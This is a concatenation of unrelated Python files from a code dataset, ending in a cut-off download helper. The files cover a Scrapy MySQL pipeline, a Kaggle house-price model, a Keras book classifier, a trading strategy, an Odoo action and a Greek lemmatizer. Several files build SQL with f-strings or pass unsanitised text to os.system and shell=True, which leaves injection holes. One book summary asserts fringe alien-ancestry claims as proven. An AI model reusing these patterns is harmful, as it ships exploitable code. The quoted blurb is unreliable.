interface\nimport pymysql\nfrom itemadapter import ItemAdapter\nimport pandas as pd\nfrom snownlp import SnowNLP\nfrom phone.config import db_mysql\nfrom phone.items import *\n\nclass MyPipiline:\n \"\"\"\n public parent pipeline class\n deal common open and close mysql link operate\n \"\"\"\n def __init__(self):\n self.db_conn =pymysql.connect(\n host=db_mysql.DB_CONN['host'],\n port=db_mysql.DB_CONN['port'],\n db=db_mysql.DB_CONN['db'],\n user=db_mysql.DB_CONN['user'],\n passwd=db_mysql.DB_CONN['password'],\n charset='utf8'\n )\n self.db_cur = self.db_conn.cursor()\n \n def __del__(self):\n self.db_cur.close()\n self.db_conn.commit()\n self.db_conn.close()\n\n\nclass PhonePipeline(MyPipiline):\n \"\"\"\n save phone list\n inherit the class MyPipiline\n \"\"\"\n\n def process_item(self, item, spider):\n if item.collection_name == 'phone':\n print('phone pipeline')\n elif item.collection_name == 'comment':\n print ('comment pipeline')\n\n if isinstance(item, PhoneItem):\n print('save item:::::::::::::::::::')\n print(item)\n # return item\n \n sql = f'SELECT count(*) FROM phone_information WHERE `name` = \"{item[\"name\"]}\"'\n self.db_cur.execute(sql)\n exists_res = self.db_cur.fetchall()[0][0]\n print(f'sql exists_res : {exists_res}')\n # print(f'sql exists_res2 : {exists_res2}')\n\n if exists_res:\n update_sql = f'UPDATE phone_information SET `worth` = \"{item[\"worth\"]}\", `no_worth` = \"{item[\"no_worth\"]}\" WHERE `name` = \"{item[\"name\"]}\"'\n self.db_cur.execute(update_sql)\n update_res2 = self.db_cur.fetchall()\n\n else:\n insert_sql = f'INSERT INTO phone_information (`name`,`worth`,`no_worth`)VALUES(\"{item[\"name\"]}\",\"{item[\"worth\"]}\",\"{item[\"no_worth\"]}\")'\n self.db_cur.execute(insert_sql)\n insert_res2 = self.db_cur.fetchall()\n\n return item\n\n\n\nclass CommentPipeline(MyPipiline):\n \"\"\"\n save phone comment list\n inherit the class MyPipiline\n \"\"\"\n\n def process_item(self, item, spider):\n if item.collection_name == 'phone':\n print('phone pipeline')\n elif item.collection_name == 'comment':\n print ('comment pipeline')\n \n\n if isinstance(item, CommentItem):\n print('save comment item:')\n print(item)\n\n sql = f'SELECT id FROM phone_information WHERE `name` = \"{item[\"phone_name\"]}\"'\n self.db_cur.execute(sql)\n \n try:\n sql_return = self.db_cur.fetchall()\n print(f' sql return {sql_return}')\n information_id = sql_return[0][0] # 查询结果为空时获得空元组 IndexError: tuple index out of range\n except IndexError as excep:\n information_id = None\n print(f' sql {sql}')\n\n if not information_id:\n print('找不到对应的手机资讯')\n return item\n\n # 利用 SnowNLP 进行情感分析\n try:\n s = SnowNLP(item['comment_content'])\n print(f'情感分析: {s.sentiments}, for {item[\"comment_content\"]}')\n except Exception as e:\n print('情感分析出错,跳过保存')\n print(e)\n return item\n \n sql = f'SELECT count(*) FROM phone_comments WHERE `information_id` = \"{information_id}\" and `user_name` = \"{item[\"user_name\"]}\"'\n self.db_cur.execute(sql)\n exists_res = self.db_cur.fetchall()[0][0]\n\n if exists_res:\n update_sql = f'UPDATE phone_comments SET `phone_name` = \"{item[\"phone_name\"]}\", `comment_content` = \"{item[\"comment_content\"]}\", \\\n `comment_time` = \"{item[\"comment_time\"]}\", `agree` = \"{item[\"agree\"]}\", `opposition` = \"{item[\"opposition\"]}\", `sentiment` = \"{s.sentiments}\" \\\n WHERE `information_id` = \"{information_id}\" and `user_name` = \"{item[\"user_name\"]}\"'\n self.db_cur.execute(update_sql)\n update_res2 = self.db_cur.fetchall()\n # print(f'sql update_res : {update_res}')\n\n else:\n insert_sql = f'INSERT INTO phone_comments (`information_id`,`phone_name`,`user_name`,`comment_content`,`comment_time`,`agree`,`opposition`,`sentiment`)\\\n VALUES(\"{information_id}\",\"{item[\"phone_name\"]}\",\"{item[\"user_name\"]}\",\"{item[\"comment_content\"]}\",\"{item[\"comment_time\"]}\",\"{item[\"agree\"]}\",\\\n \"{item[\"opposition\"]}\",\"{s.sentiments}\")'\n self.db_cur.execute(insert_sql)\n insert_res2 = self.db_cur.fetchall()\n # print(f'sql insert_res : {insert_res}')\n\n return item","sub_path":"super_python/week12/phone/phone/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":5177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"413954104","text":"# coding: utf-8\n# spyderlaunch.py\n# Written by Maselko\n# Info: https://github.com/Maselko/Spyder-Mac-Application\n\nimport os\nimport sys\n\nspyderweb = '$PATH TO SPYDER$' #Change this bit\nifile = sys.argv[1:]\nif len(ifile) != 0:\n files = ''\n fn = 0\n for fn in range(len(ifile)):\n files += ' ' + ifile[fn]\n print(ifile[fn])\n cmd = spyderweb + files\n print(cmd)\n os.system(cmd)\nelse:\n os.system(str(spyderweb))\n","sub_path":"main/spyderlaunch.py","file_name":"spyderlaunch.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"12364312","text":"# %%\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom scipy.stats import skew\nfrom sklearn.base import BaseEstimator, RegressorMixin, TransformerMixin, clone\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.kernel_ridge import KernelRidge\nfrom sklearn.linear_model import Lasso, LinearRegression\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.model_selection import RandomizedSearchCV, train_test_split\nfrom sklearn.pipeline import Pipeline, make_pipeline\nfrom sklearn.preprocessing import LabelEncoder, MinMaxScaler\nfrom sklearn.tree import DecisionTreeRegressor\n\nplt.style.use(style=\"ggplot\")\nsns.set(color_codes=True)\nprint(\"引入必要模块,完成!\")\n\n# %%\n# 生成 random forest 参数矩阵\n# Number of trees in random forest\n\n\ndef gen_random_grid():\n n_estimators = [int(x) for x in np.linspace(start=50, stop=200, num=15)]\n # Number of features to consider at every split\n max_features = ['auto', 'sqrt', 'log2']\n # Maximum number of levels in tree\n max_depth = [int(x) for x in np.linspace(10, 110, num=11)]\n max_depth.append(None)\n # Minimum number of samples required to split a node\n min_samples_split = [2, 5, 10]\n # Minimum number of samples required at each leaf node\n min_samples_leaf = [1, 2, 4]\n # Method of selecting samples for training each tree\n bootstrap = [True, False]\n # Create the random grid\n random_grid = {'n_estimators': n_estimators,\n 'max_features': max_features,\n 'max_depth': max_depth,\n 'min_samples_split': min_samples_split,\n 'min_samples_leaf': min_samples_leaf,\n 'bootstrap': bootstrap}\n return random_grid\n\n\nprint(\"构造随机参数矩阵方法,完成!\")\n\n\ndef random_trainer(in_X, in_y):\n rf = RandomForestRegressor()\n random_grid = gen_random_grid()\n # Random search of parameters, using 3 fold cross validation,\n # search across 100 different combinations, and use all available cores\n rf_random = RandomizedSearchCV(estimator=rf, param_distributions=random_grid,\n n_iter=100, cv=3, verbose=2, random_state=1, n_jobs=-1)\n # Fit the random search model with all data\n rf_random.fit(in_X, in_y)\n return(rf_random.best_estimator_)\n\n\nprint(\"构造最佳参数随机森林方法,完成!\")\n\n# %%\n# 读取训练数据\n# Path of the file to read. We changed the directory structure to simplify submitting to a competition\n\nhome_data = pd.read_csv('train.csv')\nprint(\"读取 train.csv 数据,完成!\")\n\n# %%\n# 数据直觉观察,去除异常值\n# home_data.shape\n# home_data.info()\n# 查看缺失值\n# home_data.isnull().sum()\n# -----------------\n#plt.figure(figsize=(15, 8))\n#sns.boxplot(home_data['YearBuilt'], home_data['SalePrice'])\n# -----------------\n# plt.figure(figsize=(12, 6))\n# plt.scatter(x=home_data['GrLivArea'], y=home_data['SalePrice'])\n# plt.ylim(0, 800000)\n# plt.xlabel(\"GrLivArea\", fontsize=13)\n# plt.ylabel(\"SalePrice\", fontsize=13)\n# -----------------\n# 可以看到GrlivArea>4000 且售价低于30000 有两个异常值,去掉它们。\nhome_data.drop(home_data[(home_data['GrLivArea'] > 4000) & (\n home_data['SalePrice'] < 300000)].index, inplace=True)\n# -----------------\n# plt.figure(figsize=(12, 6))\n# plt.scatter(x=home_data['LotFrontage'], y=home_data['SalePrice'])\n# plt.ylim(0, 800000)\n# plt.xlabel(\"LotFrontage\", fontsize=13)\n# plt.ylabel(\"SalePrice\", fontsize=13)\n# -----------------\n# 发现LotFrontage大雨300的一个异常值,去掉?\nhome_data.drop(home_data[home_data['LotFrontage'] > 300].index, inplace=True)\n\nprint(\"去除异常值,完成!\")\n# 看房价分布\n# home_data['SalePrice'].describe()\n# plt.figure(figsize=(10, 5))\n# print(\"skew: \", home_data['SalePrice'].skew()) # 求偏度,\n# sns.distplot(home_data['SalePrice'], color=\"red\")\n# 我们可以看到目标变量呈现偏态分布。当使用线性回归方法时,如果目标变量出现偏斜,则有必要对目标变量进行对数变换(log-transform)。通过对数变换,可以改善数据的线性度。\n\n# %%\n# 数据清洗\n# nullsum = home_data.isnull().sum()\n# hasnull_column = nullsum[nullsum != 0].index.tolist()\n# print(\"以下列中包含空数据:\")\n# print(hasnull_column)\n\n# home_data[hasnull_column] = home_data[hasnull_column].fillna(\n# home_data[hasnull_column].mean())\n# print(\"数值型空值以平均值填充,完成!\")\n\n# ------------------------------------------------\n# 似乎直接填充空值太武断了,尝试如下,\n# 源自知乎:https://zhuanlan.zhihu.com/p/34904202\n# ------------------------------------------------\n# aa = home_data.isnull().sum()\n# aa[aa > 0].sort_values(ascending=False)\n\n# 有空值的列及数量如下:\n# PoolQC 1453\n# MiscFeature 1406\n# Alley 1369\n# Fence 1179\n# FireplaceQu 690\n# LotFrontage 259\n# GarageYrBlt 81\n# GarageType 81\n# GarageFinish 81\n# GarageQual 81\n# GarageCond 81\n# BsmtFinType2 38\n# BsmtExposure 38\n# BsmtFinType1 37\n# BsmtCond 37\n# BsmtQual 37\n# MasVnrArea 8\n# MasVnrType 8\n# Electrical 1\n\n# 为了方便对 test 数据也进行相同的清洗,这里定义为方法\n\n\ndef DataClean(fulldata):\n\n # 有些字段为空,表示房子没有该设施,则空值用\"None\"填充\n cols1 = [\"PoolQC\", \"MiscFeature\", \"Alley\", \"Fence\", \"FireplaceQu\", \"GarageQual\", \"GarageCond\", \"GarageFinish\",\n \"GarageYrBlt\", \"GarageType\", \"BsmtExposure\", \"BsmtCond\", \"BsmtQual\", \"BsmtFinType2\", \"BsmtFinType1\", \"MasVnrType\"]\n for col in cols1:\n fulldata[col].fillna(\"None\", inplace=True)\n\n # 下面的这些特征多为表示XX面积或数量,比如 TotalBsmtSF 表示地下室的面积,如果一个房子本身没有地下室,则缺失值就用0来填补。\n cols = [\"MasVnrArea\", \"BsmtFinSF1\", \"BsmtFinSF2\", \"BsmtUnfSF\",\n \"TotalBsmtSF\", \"BsmtFullBath\", \"BsmtHalfBath\", \"GarageCars\", \"GarageArea\"]\n for col in cols:\n fulldata[col].fillna(0, inplace=True)\n\n # LotFrontage 这个特征与 LotArea 和 Neighborhood 有比较大的关系,所以这里用这两个特征分组后的中位数进行插补。\n fulldata['LotFrontage'] = fulldata.groupby(\n ['Neighborhood'])['LotFrontage'].transform(lambda x: x.fillna(x.median()))\n\n # Electrical 缺的这个值没找到原因,就用最通用的 'SBrkr' 填充\n fulldata['Electrical'].fillna('SBrkr', inplace=True)\n\n # 其他字段处理,这些字段应该取选项值最多的那个,或者设为none?\n fulldata['MSZoning'].fillna(\"RL\", inplace=True)\n fulldata['Utilities'].fillna(\"AllPub\", inplace=True)\n fulldata['Exterior1st'].fillna(\"None\", inplace=True)\n fulldata['Exterior2nd'].fillna(\"None\", inplace=True)\n fulldata['KitchenQual'].fillna(\"TA\", inplace=True)\n fulldata['Functional'].fillna(\"Typ\", inplace=True)\n fulldata['SaleType'].fillna(\"Oth\", inplace=True)\n return \"空值处理完成!\"\n\n\nDataClean(home_data)\n\n# %%\n# 找一些离散数据,先转成str类型,再map。\n\n\ndef map_Values(fulldata):\n NumStr = ['MSSubClass', 'BedroomAbvGr', 'MoSold', 'MSZoning',\n 'Street', 'LotShape', 'LandContour', 'Utilities', 'LotConfig']\n for col in NumStr:\n fulldata[col] = home_data[col].astype(str)\n\n fulldata['oMSSubClass'] = fulldata['MSSubClass'].map({\n '180': 1,\n '30': 2, '45': 2,\n '190': 3, '50': 3, '90': 3,\n '85': 4, '160': 4, '40': 4,\n '70': 5, '20': 5, '75': 5, '80': 5,\n '120': 6, '60': 6\n })\n fulldata['oBedroomAbvGr'] = fulldata['BedroomAbvGr'].map({\n '2': 1,\n '1': 2, '6': 2,\n '3': 3, '5': 3,\n '0': 4, '4': 4, '8': 4\n })\n fulldata['oMoSold'] = fulldata['MoSold'].map({\n '1': 1, '4': 1,\n '5': 2, '10': 2,\n '3': 3, '6': 3, '7': 3,\n '2': 4, '8': 4, '9': 4, '11': 4, '12': 4\n })\n fulldata['oMSZoning'] = fulldata['MSZoning'].map({\n 'C (all)': 1,\n 'RH': 2, 'RM': 2,\n 'RL': 3,\n 'FV': 4\n })\n fulldata['oStreet'] = fulldata['Street'].map({\n 'Grvl': 1,\n 'Pave': 2\n })\n fulldata['oLotShape'] = fulldata['LotShape'].map({\n 'Reg': 1,\n 'IR1': 2,\n 'IR2': 3, 'IR3': 3\n })\n fulldata['oLandContour'] = fulldata['LandContour'].map({\n 'Bnk': 1,\n 'Lvl': 2,\n 'Low': 3,\n 'HLS': 3\n })\n fulldata['oUtilities'] = fulldata['Utilities'].map({\n 'NoSeWa': 1,\n 'AllPub': 2\n })\n fulldata['oLotConfig'] = fulldata['LotConfig'].map({\n 'Inside': 1, 'Corner': 1, 'FR2': 1,\n 'CulDSac': 2, 'FR3': 2\n })\n fulldata.drop(NumStr, axis=1, inplace=True)\n return \"map 离散数据完成!\"\n\n\nhome_data_bak = home_data.copy()\nmap_Values(home_data)\n\n# %%\n# 区分开数字特性和文字特性\nall_dtypes = home_data.dtypes\nobject_features = all_dtypes[all_dtypes == 'object'].index.tolist()\nnum_features = all_dtypes[all_dtypes != 'object'].index.tolist()\nnum_features.remove('Id')\n\n\n# %%\n# 挑选features\nprefeatures = num_features\ncorrMat = home_data[prefeatures].corr()\n# mask = np.array(corrMat)\n# mask[np.tril_indices_from(mask)] = False\n# plt.subplots(figsize=(20, 10))\n# plt.xticks(rotation=60)\n# sns.heatmap(corrMat, mask=mask, vmax=.8, square=True, annot=True)\n\nprint(corrMat[\"SalePrice\"].sort_values(ascending=False))\ncorr = corrMat[\"SalePrice\"]\nfeatures = corr[corr >= 0.4].index.tolist()\nfeatures.remove('SalePrice')\nprint(\"筛选关联度大于 0.4 的参数列表,得到 features 如下:\")\nprint(features)\nhome_data[features].to_csv('features-data.csv', index=False)\n\n\n# %%\n# 生成训练数据集\nX = home_data[features]\ny = home_data['SalePrice']\ny2 = np.log(home_data['SalePrice'])\nprint(\"生成 X、y 、y2完成!\")\n\n# 归一化 X\nX_copy = X[:]\nscaler = MinMaxScaler()\nX_transformed = scaler.fit_transform(X_copy)\nprint(\"生成归一化 X_transformed 完成!\")\n\n# %%\n# 生成训练数据和校验数据\ntrain_X, val_X, train_y, val_y = train_test_split(\n X, y, random_state=1)\nprint(\"数据分割为 train 和 val 完成!\")\n\n# 生成归一化的训练数据和校验数据\ntrain_X2, val_X2, train_y2, val_y2 = train_test_split(\n X_transformed, y2, random_state=1)\nprint(\"归一化数据分割为 train 和 val 完成!\")\n\n# %%\n# 随机森林模型,不用归一化\n\nrf_best_model = random_trainer(train_X, train_y)\nrf_bst_predictions = rf_best_model.predict(val_X)\nrf_bst_mae = mean_absolute_error(rf_bst_predictions, val_y)\nprint(\n \"验证最佳随机森林模型的 MAE 值是:\", rf_bst_mae)\n\n# 线性回归模型,归一化\nlr_model = LinearRegression()\nlr_model.fit(train_X2, train_y2)\nlr_val_predictions = lr_model.predict(val_X2)\nlr_val_mae = mean_absolute_error(np.exp(lr_val_predictions), np.exp(val_y2))\nprint(\"验证线性回归模型的 MAE 值是:\", lr_val_mae)\nprint(\"线性回归模型得分为:\", lr_model.score(val_X2, val_y2))\n\n\n# %%\n# 使用 test 数据集进行预测\n\ntest_data = pd.read_csv('test.csv')\nprint(\"读取测试数据集,完成!\")\n# nullsum_test = test_data.isnull().sum()\n# hasnull_column_test = nullsum_test[nullsum_test != 0].index.tolist()\n# print(\"以下列中包含空数据:\")\n# print(hasnull_column_test)\n# test_data[hasnull_column_test] = test_data[hasnull_column_test].fillna(\n# test_data[hasnull_column_test].mean())\n# print(\"数值型空值以平均值填充,完成!\")\nDataClean(test_data)\n\ntest_data_bak = test_data.copy()\nmap_Values(test_data)\n\ntest_X = test_data[features]\n\n# 使用随机森林对 test 数据进行预测,生成预测值\n# rf_test_model = random_trainer(X, y)\n# print(\"使用全部数据重新训练模型,完成!\")\n# 随机森林模型不需要对数据归一化处理,直接使用 test_X 输入\nrf_test_preds = rf_best_model.predict(test_X)\nprint(\"随机森林预测完成!\")\n\n# 使用线性回归对 test 数据进行预测,生成预测值\n# lr_model.fit(X_transformed, y2)\n# print(\"使用全部归一化数据重新训练模型,完成!\")\n# 归一化 test_X\ntest_X_copy = test_X[:]\ntest_X_transformed = scaler.fit_transform(test_X_copy)\nprint(\"test_X 泛化完成!\")\nlr_test_preds = np.exp(lr_model.predict(test_X_transformed))\nprint(\"线性回归预测完成!\")\n\n# %%\n# 生成提交文件\n\noutput = pd.DataFrame({'Id': test_data.Id,\n 'SalePrice': rf_test_preds})\noutput.to_csv('submission-rf.csv', index=False)\nprint(\"生成 submission-rf.csv 完成!\")\n\noutput = pd.DataFrame({'Id': test_data.Id,\n 'SalePrice': lr_test_preds})\noutput.to_csv('submission-lr.csv', index=False)\nprint(\"生成 submission-lr.csv 完成!\")\n","sub_path":"DataScience/Kaggle/HoursePrice/Kaggle-learning1.py","file_name":"Kaggle-learning1.py","file_ext":"py","file_size_in_byte":12792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"406256243","text":"import tensorflow.keras\nfrom PIL import Image, ImageOps\nimport numpy as np\nimport cv2\nimport sys\nimport time\n\nfrom subprocess import call\n\n\n# Disable scientific notation for clarity\nnp.set_printoptions(suppress=True)\n\nimg = None\nwebCam = False\nif(len(sys.argv)>1 and not sys.argv[-1]== \"noWindow\"):\n try:\n print(\"I'll try to read your image\");\n img = cv2.imread(sys.argv[1])\n if img is None:\n print(\"Failed to load image file:\", sys.argv[1])\n except:\n print(\"Failed to load the image are you sure that:\", sys.argv[1],\"is a path to an image?\")\nelse:\n try:\n print(\"Trying to open the Webcam.\")\n cap = cv2.VideoCapture(0)\n if cap is None or not cap.isOpened():\n raise(\"No camera\")\n webCam = True\n except:\n img = cv2.imread(\"../data/test.jpg\")\n print(\"Using default image.\")\n\n\n# Load the model\nmodel = tensorflow.keras.models.load_model('keras_model.h5')\n# Load Labels:\nlabels=[]\nf = open(\"labels.txt\", \"r\")\nfor line in f.readlines():\n if(len(line)<1):\n continue\n labels.append(line.split(' ')[1].strip())\n\n\nwhile(True):\n if webCam:\n ret, img = cap.read()\n\n rows, cols, channels = img.shape\n data = np.ndarray(shape=(1, 224, 224, 3), dtype=np.float32)\n\n image = Image.open('/home/pi/openCV-examples/data/test.jpg')\n size = (224, 224)\n img = cv2.resize(img, size, interpolation = cv2.INTER_AREA)\n #turn the image into a numpy array\n image_array = np.asarray(img)\n\n # Normalize the image\n normalized_image_array = (image_array.astype(np.float32) / 127.0) - 1\n # Load the image into the array\n data[0] = normalized_image_array\n\n # run the inference\n prediction = model.predict(data)\n #print(\"I think its a:\",labels[np.argmax(prediction)])\n\n if labels[np.argmax(prediction)] == \"GameofThrones\":\n print(\"Book: GameofThrones\")\n txt = \"A Game of Thrones is the first novel in A Song of Ice and Fire, a series of fantasy novels by the American author George R. R. Martin. It was first published on August 1, 1996. The novel won the 1997 Locus Award and was nominated for both the 1997 Nebula Award and the 1997 World Fantasy Award.\"\n print(\"Summary: \", txt)\n call(f\"espeak '{txt}'\", shell=True)\n if labels[np.argmax(prediction)] ==\t\"EarthChronicles\":\n print(\"Book: EarthChronicles\")\n txt = \"The Earth Chronicles series, with millions of copies sold worldwide, represents the culmination of Zecharia Sitchin’s 30 years of intensive research into the history and prehistory of Earth and humankind as recorded by the ancient civilizations of the Near East. Within these volumes, Sitchin--one of the few scholars able to read and interpret ancient Sumerian and Akkadian clay tablets--presents indisputable millennia-old proof of humanity’s extraterrestrial forefathers, the Anunnaki, who visited Earth every 3,600 years from their home planet Nibiru. \"\n print(\"Summary: \", txt)\n call(f\"espeak '{txt}'\", shell=True)\n if labels[np.argmax(prediction)] ==\t\"Waterlily\":\n print(\"Book: Waterlily\")\n txt = \"Waterlily describes Dakota life before it was altered by American western expansion. The novel follows two generations of Sioux women, Blue Bird and Waterlily; a mother-daughter pair who both learn through life experiences the meaning and importance of kinship.\"\n print(\"Summary: \", txt)\n call(f\"espeak '{txt}'\", shell=True)\n\n if webCam:\n if sys.argv[-1] == \"noWindow\":\n cv2.imwrite('detected_out.jpg',img)\n continue\n cv2.imshow('detected (press q to quit)',img)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n cap.release()\n break\n else:\n break\n time.sleep(1)\n\ncv2.imwrite('detected_out.jpg',img)\ncv2.destroyAllWindows()\n","sub_path":"Lab 5/converted_keras_2/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"591796683","text":"from __future__ import division\nfrom pyalgotrade import strategy,broker\nfrom pyalgotrade.strategy import position\nfrom pyalgotrade.technical import bollinger,linreg,ma,cross\n#from talib import LINEARREG_SLOPE\nimport pandas as pd \nimport numpy as np\n\n\nclass BBands(strategy.BacktestingStrategy):\n def __init__(self, feed, instrument, bBandsPeriod,smaPeriod_short,smaPeriod_long,slope_period):\n strategy.BacktestingStrategy.__init__(self, feed)\n self.__instrument = instrument\n self.__prices = feed[instrument].getPriceDataSeries()\n self.__sma_short = ma.SMA(self.__prices, smaPeriod_short)\n self.__sma_long = ma.SMA(self.__prices, smaPeriod_long) \n self.__bbands = bollinger.BollingerBands(feed[instrument].getCloseDataSeries(), bBandsPeriod, 2)\n self.__slope = linreg.Slope(self.__prices,slope_period) \n self.__middle_slope= linreg.Slope(self.__bbands.getMiddleBand(),slope_period)\n self.__longPos = None\n self.__shortPos = None\n self.slope_period=slope_period \n\n\n def getBollingerBands(self):\n return self.__bbands\n \n def getSMA(self):\n return self.__sma\n \n def getSlope(self):\n return self.__slope\n\n def getMidSlope(self):\n return self.__middle_slope\n \n def onEnterCanceled(self, position):\n if self.__longPos == position:\n self.__longPos = None\n elif self.__shortPos == position:\n self.__shortPos = None\n else:\n assert(False)\n\n def onExitOk(self, position):\n if self.__longPos == position:\n self.__longPos = None\n elif self.__shortPos == position:\n self.__shortPos = None\n else:\n assert(False)\n\n def onExitCanceled(self, position):\n # If the exit was canceled, re-submit it.\n position.exitMarket()\n \n\n \n def onBars(self, bars):\n bar = bars[self.__instrument]\n\n \n if self.__longPos is not None:\n if self.exitLongSignal(bar):\n self.__longPos.exitMarket()\n elif self.__shortPos is not None:\n if self.exitShortSignal(bar):\n self.__shortPos.exitMarket()\n else:\n if self.enterLongSignal(bar):# and MACD>0:#self.enterLongSignal(bar):\n shares = int(self.getBroker().getCash() * 0.9 / bars[self.__instrument].getPrice())\n self.__longPos = self.enterLong(self.__instrument, shares)#, True)\n elif self.enterShortSignal():\n shares = int(self.getBroker().getCash() * 0.9 / bars[self.__instrument].getPrice())\n self.__shortPos = self.enterShort(self.__instrument, shares)#, True)\n \n def enterLongSignal(self, bar):\n lower = self.__bbands.getLowerBand()[-1] \n if lower is None:\n return\n else: \n if bar.getClose() < lower and self.__middle_slope[-1]> 0:\n print('middle slope is',self.__middle_slope[-1],'buy?',bar.getClose() < lower and self.__middle_slope[-1]> 0)\n return bar.getClose() < lower and self.__middle_slope[-1]> 0\n\n\n def exitLongSignal(self,bar):\n shares = self.getBroker().getShares(self.__instrument) \n Cash=self.getBroker().getCash(False) \n price=(1000000-Cash)/float(shares)\n upper = self.__bbands.getUpperBand()[-1]\n return bar.getClose() > upper or bar.getClose() <0.95*price\n \n def enterShortSignal(self):\n# for i in range(3):\n# print('MA slope',self.__middle_slope[-1])\n if cross.cross_above(self.__prices, self.__bbands.getUpperBand()) > 0 and self.__middle_slope[-1] <0:\n print('middle slope is',self.__middle_slope[-1],'sell?',cross.cross_above(self.__prices, self.__bbands.getUpperBand()) > 0 and self.__middle_slope[-1] <0)\n return cross.cross_above(self.__prices, self.__bbands.getUpperBand()) > 0 and self.__middle_slope[-1] <0\n\n def exitShortSignal(self,bar):\n shares = self.getBroker().getShares(self.__instrument) \n Cash=self.getBroker().getCash(False) \n price=(1000000-Cash)/float(shares)\n return cross.cross_above(self.__prices, self.__bbands.getLowerBand()) > 0 or bar.getClose()>1.05*price","sub_path":"cubist/BBands_mod.py","file_name":"BBands_mod.py","file_ext":"py","file_size_in_byte":4312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"397880283","text":"# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\nfrom odoo import api, fields, models, _\n\n\nclass Task(models.Model):\n _inherit = \"project.task\"\n\n def action_create_issue(self):\n # ctx = dict(self.env.context or {})\n # print('ctxxxxxx', ctx, self.id)\n # ctx.update({'project_id': self.project_id.id})\n view = self.env.ref('project_issue.project_issue_form_view')\n return {\n 'name': _('Create Issue'),\n 'type': 'ir.actions.act_window',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'project.issue',\n 'views': [(view.id, 'form')],\n 'view_id': view.id,\n 'target': 'new',\n # 'context': ctx,\n }\n","sub_path":"project_issue/models/project_task.py","file_name":"project_task.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"230116760","text":"\n# python3.6 -m venv venv\n# source venv/bin/activate\n# pip install cltk\ndef imcalem_tlg_authors():\n # import the files\n TLG_file_to_convert = input(\"Give the adress of the TLG-file to be converted: \")\n new_file = input(\"Give the adress of the new file: \")\n # the name of the new file without extension\n import os\n bare_filename = os.path.splitext(new_file)[0]\n # transform the BETA code TLG-file into a utf file\n from cltk.corpus.utils.importer import CorpusImporter\n corpus_importer = CorpusImporter('greek')\n from cltk.corpus.greek.tlgu import TLGU\n t = TLGU()\n t.convert(TLG_file_to_convert, new_file)\n # apply encoding NFC to the utf text\n import unicodedata\n # write the NFC text to file\n with open(new_file, 'r') as f:\n normf = f.read()\n # replace underscores with space\n normf = normf.replace('_', ' ')\n with open(bare_filename+'_norm.txt', 'w+') as f:\n f.write(unicodedata.normalize('NFC', normf))\n # replace the apostrophs with a sign that will not be eliminated during the process of cleaning up the text\n with open(bare_filename+'_norm.txt', 'r') as f:\n noapf = f.read()\n noapf = noapf.replace('\\'', '$')\n # write the text with the new apostroph sign to file\n with open(bare_filename+'_norm_apostr.txt', 'w+') as f:\n f.write(noapf)\n # clean-up the text\n from cltk.corpus.utils.formatter import tlg_plaintext_cleanup\n with open(bare_filename+'_norm_apostr.txt', 'r') as f:\n clf = f.read()\n clf = tlg_plaintext_cleanup(clf.lower(), rm_punctuation=True, rm_periods=True)\n # remove brackets, paragraph signs\n clf = clf.replace('(', '').replace(')', '').replace('§','')\n # restore apostrophe\n clf = clf.replace('$', '’')\n # replace grave with acute accent\n clf = clf.replace('ὰ', 'ά').replace('ὲ', 'έ').replace('ὴ', 'ή').replace('ὶ', 'ί').replace('ὸ', 'ό').replace('ὼ', 'ώ').replace('ὺ', 'ύ').replace('ἂ', 'ἄ').replace('ἒ', 'ἔ').replace('ἢ', 'ἤ').replace('ἲ', 'ἴ').replace('ὂ', 'ὄ').replace('ὢ', 'ὤ').replace('ὒ', 'ὔ').replace('ἃ', 'ἅ').replace('ἓ', 'ἕ').replace('ἣ', 'ἤ').replace('ἳ', 'ἵ').replace('ὃ', 'ὅ').replace('ὣ', 'ὥ').replace('ὓ', 'ὕ')\n\n with open(bare_filename+'_clean.txt', 'w+') as f:\n f.write(clf)\n # lemmatize the text\n from cltk.stem.lemma import LemmaReplacer\n lemmatizer = LemmaReplacer('greek')\n lemf = lemmatizer.lemmatize(clf)\n # write lemmatized text to file\n with open(bare_filename+'_lemmata.txt', 'w+') as f:\n for item in lemf:\n f.write('%s ' % item)\n # write unique lemmata to file\n with open(bare_filename+'_lemmata.txt', 'r') as f:\n lemf = f.read()\n uniqlemf = lemf.split()\n uniqlemf = set(uniqlemf)\n uniqlemf = list(uniqlemf)\n with open(bare_filename+'_lemmata_unique.txt', 'w+') as f:\n for item in uniqlemf:\n f.write('%s\\n' % item)\n","sub_path":"tlgtext_to_lemma.py","file_name":"tlgtext_to_lemma.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"643652823","text":"\"\"\"Some PyNE testing utilities.\"\"\"\nfrom __future__ import print_function\nimport os\nimport sys\nfrom hashlib import md5\ntry:\n import urllib.request as urllib\nexcept ImportError:\n import urllib2 as urllib\n\n\ndef download_file(url, localfile, md5_hash):\n \"\"\"Donwload a file and make sure its MD5 hash matches.\"\"\"\n if os.path.isfile(localfile):\n with open(localfile, \"rb\") as f:\n html = f.read()\n else:\n msg = 'Downloading {0!r} to {1!r}'.format(url, localfile)\n print(msg, file=sys.stderr)\n req = urllib.Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n f = urllib.urlopen(req, timeout=30.0)\n try:\n html = f.read()\n finally:\n f.close()\n with open(localfile, 'wb') as f:\n f.write(html)\n obs_hash = md5(html).hexdigest()\n if obs_hash != md5_hash:\n 